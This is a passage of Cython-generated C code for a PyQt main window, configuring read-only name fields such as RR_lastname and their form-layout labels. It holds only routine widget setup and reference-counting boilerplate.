__Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__246, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 410, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 410, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 410, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 410, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 410, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 410, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":411 * self.RR_lastname = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_lastname.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_lastname.setMouseTracking(False) # <<<<<<<<<<<<<< * self.RR_lastname.setAcceptDrops(False) * self.RR_lastname.setToolTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 411, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 411, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__247, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 411, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":412 * self.RR_lastname.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_lastname.setMouseTracking(False) * self.RR_lastname.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_lastname.setToolTip("") * self.RR_lastname.setStatusTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 412, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAcceptDrops); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 412, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__248, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 412, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":413 * self.RR_lastname.setMouseTracking(False) * self.RR_lastname.setAcceptDrops(False) * self.RR_lastname.setToolTip("") # <<<<<<<<<<<<<< * self.RR_lastname.setStatusTip("") * self.RR_lastname.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 413, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 413, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__249, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 413, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":414 * self.RR_lastname.setAcceptDrops(False) * self.RR_lastname.setToolTip("") * self.RR_lastname.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_lastname.setAccessibleName("") * self.RR_lastname.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 414, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 414, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__250, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 414, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":415 * self.RR_lastname.setToolTip("") * self.RR_lastname.setStatusTip("") * self.RR_lastname.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_lastname.setAccessibleDescription("") * self.RR_lastname.setInputMask("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 415, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 415, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__251, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 415, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":416 * self.RR_lastname.setStatusTip("") * self.RR_lastname.setAccessibleName("") * self.RR_lastname.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_lastname.setInputMask("") * self.RR_lastname.setText("R_LastName") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 416, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 416, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__252, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 416, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":417 * self.RR_lastname.setAccessibleName("") * self.RR_lastname.setAccessibleDescription("") * self.RR_lastname.setInputMask("") # <<<<<<<<<<<<<< * self.RR_lastname.setText("R_LastName") * self.RR_lastname.setFrame(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 417, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 417, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__253, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 417, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":418 * self.RR_lastname.setAccessibleDescription("") * self.RR_lastname.setInputMask("") * self.RR_lastname.setText("R_LastName") # <<<<<<<<<<<<<< * self.RR_lastname.setFrame(False) * self.RR_lastname.setReadOnly(True) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 418, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 418, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__254, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 418, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":419 * self.RR_lastname.setInputMask("") * self.RR_lastname.setText("R_LastName") * self.RR_lastname.setFrame(False) # <<<<<<<<<<<<<< * self.RR_lastname.setReadOnly(True) * self.RR_lastname.setPlaceholderText("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 419, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setFrame); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 419, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__255, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 419, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":420 * self.RR_lastname.setText("R_LastName") * self.RR_lastname.setFrame(False) * self.RR_lastname.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_lastname.setPlaceholderText("") * self.RR_lastname.setObjectName("RR_lastname") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 420, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setReadOnly); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 420, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__256, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 420, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":421 * self.RR_lastname.setFrame(False) * self.RR_lastname.setReadOnly(True) * self.RR_lastname.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_lastname.setObjectName("RR_lastname") * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.RR_lastname) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 421, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 421, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__257, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 421, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":422 * self.RR_lastname.setReadOnly(True) * self.RR_lastname.setPlaceholderText("") * self.RR_lastname.setObjectName("RR_lastname") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.RR_lastname) * self.label_35 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 422, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 422, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__258, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 422, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":423 * self.RR_lastname.setPlaceholderText("") * self.RR_lastname.setObjectName("RR_lastname") * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.RR_lastname) # <<<<<<<<<<<<<< * self.label_35 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_35.setObjectName("label_35") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 423, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 423, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 423, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 423, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 423, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 423, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_0, __pyx_t_2, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 423, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_0, __pyx_t_2, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 423, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_3 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 423, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 2+__pyx_t_8, __pyx_t_6); __pyx_t_2 = 0; __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 423, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":424 * self.RR_lastname.setObjectName("RR_lastname") * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.RR_lastname) * self.label_35 = QtWidgets.QLabel(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.label_35.setObjectName("label_35") * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_35) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 424, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 424, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 424, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 424, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 424, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 424, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 424, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 424, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_35, __pyx_t_7) < 0) __PYX_ERR(0, 424, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":425 * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.RR_lastname) * self.label_35 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_35.setObjectName("label_35") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_35) * self.RR_firstname = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_35); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 425, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 425, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__259, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 425, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":426 * self.label_35 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_35.setObjectName("label_35") * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_35) # <<<<<<<<<<<<<< * self.RR_firstname = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_firstname.setMinimumSize(QtCore.QSize(420, 0)) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_35); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_1, __pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if 